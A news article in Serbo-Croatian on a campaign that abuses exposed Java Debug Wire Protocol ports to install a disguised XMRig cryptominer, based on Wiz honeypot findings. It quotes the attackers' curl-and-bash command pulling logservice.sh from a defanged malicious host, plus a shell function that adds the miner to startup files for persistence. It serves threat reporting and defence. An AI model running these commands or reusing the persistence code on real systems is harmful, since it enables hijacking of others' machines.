U toku je novi talas sajber napada usmjerenih na organizacije koje nehotice izlažu Java Debug Wire Protocol (JDWP) servere internetu. Napadači koriste ovu, često zanemarenu, tačku ulaska za implementaciju sofisticiranog malvera za rudarenje kriptovaluta.
JDWP, kao standardna karakteristika Java platforme, služi za omogućavanje daljinskog otklanjanja grešaka (debugging) tako što programerima daje mogućnost uvida u aktivne aplikacije. Međutim, kada JDWP ostane dostupan na produkcijskim sistemima, često uslijed pogrešne konfiguracije ili korišćenja razvojnih parametara u radnim okruženjima, postaje moćan vektor za daljinsko izvršavanje koda.
Pojava ove prijetnje obilježena je brzim ciklusima eksploatacije. U nekoliko zabilježenih incidenata, napadači su uspjeli kompromitovati ranjive mašine u roku od nekoliko sati od njihovog izlaganja.
Tok napada obično počinje masovnim pretraživanjem interneta u potrazi za otvorenim JDWP portovima, najčešće portom 5005. Nakon identifikovanja mete, napadač inicira JDWP “rukovanje” (handshake) radi potvrde aktivnosti servisa, a zatim uspostavlja sesiju, čime stiče interaktivni pristup Java virtuelnoj mašini (JVM). Ovaj pristup omogućava napadaču da pregleda učitane klase i poziva metode, što u konačnici vodi do izvršavanja proizvoljnih komandi na ciljnom sistemu.
Analitičari iz kompanije Wiz identifikovali su ovu kampanju nakon što su uočili pokušaje eksploatacije na svojim “honeypot” serverima koji pokreću TeamCity, popularan alat za kontinuiranu integraciju i isporuku (CI/CD). Napadači su demonstrirali visok stepen automatizacije i prilagođavanja, implementirajući modificirani XMRig kriptominer sa fiksnom konfiguracijom radi izbjegavanja detekcije.
Značajno je da korišteni rudarski serveri (mining pool proxies) služe za prikrivanje adrese novčanika, što otežava praćenje ili ometanje ove ilegalne operacije rudarenja. Posljedice ovih napada su značajne. Zloupotrebom JDWP, akteri prijetnji ne samo da mogu implementirati kriptominere, već i uspostaviti duboku perzistenciju u sistemu, manipulisati procesima i potencijalno se proširiti na druge resurse unutar kompromitovanog okruženja. Prikrivena priroda tereta (payloada), u kombinaciji sa sposobnošću da se uklopi u legitimne sistemske utilitarije, povećava rizik od produženog, nedetektoovanog djelovanja i iscrpljivanja resursa.
Fokusirajući se na mehanizam infekcije, napadači koriste nedostatak autentifikacije u JDWP protokolu za ubacivanje i izvršavanje shell komandi direktno putem samog protokola. Nakon uspostavljanja sesije, obično preuzimaju skriptu za ubacivanje, poput logservice.sh, koristeći komande poput:
“`bash
curl -o /tmp/logservice.sh -s https://canonicalconnect[.]com/logservice.sh
bash /tmp/logservice.sh
“`
Ova skripta je dizajnirana da zaustavi konkurentne rudare, preuzme zlonamjerni XMRig binarni fajl prerušen u logrotate i instalira ga u direktorijum sa konfiguracijom korisnika. Skripta potom postavlja više mehanizama za perzistenciju, uključujući modifikaciju datoteka za pokretanje shell-a, kreiranje cron poslova i instaliranje lažne sistemske usluge.
Naredni izvod ilustruje kako skripta osigurava perzistenciju putem konfiguracije shell-a:
“`bash
add_to_startup() {
if [ -r “$1” ]; then
if ! grep -Fxq “$EXEC >/dev/null 2>&1” “$1”; then
echo “$EXEC >/dev/null 2>&1” >> “$1”
fi
fi
}
“`
Lanac infekcije je istovremeno efikasan i otporan, omogućavajući kriptomineru da preživi ponovno pokretanje sistema i prijavu korisnika. Korištenje naziva procesa i sistemskih lokacija koje zvuče legitimno dodatno otežava detekciju i napore za otklanjanje štete, naglašavajući potrebu za budnim upravljanjem konfiguracijom i robusnim nadzorom izloženih servisa.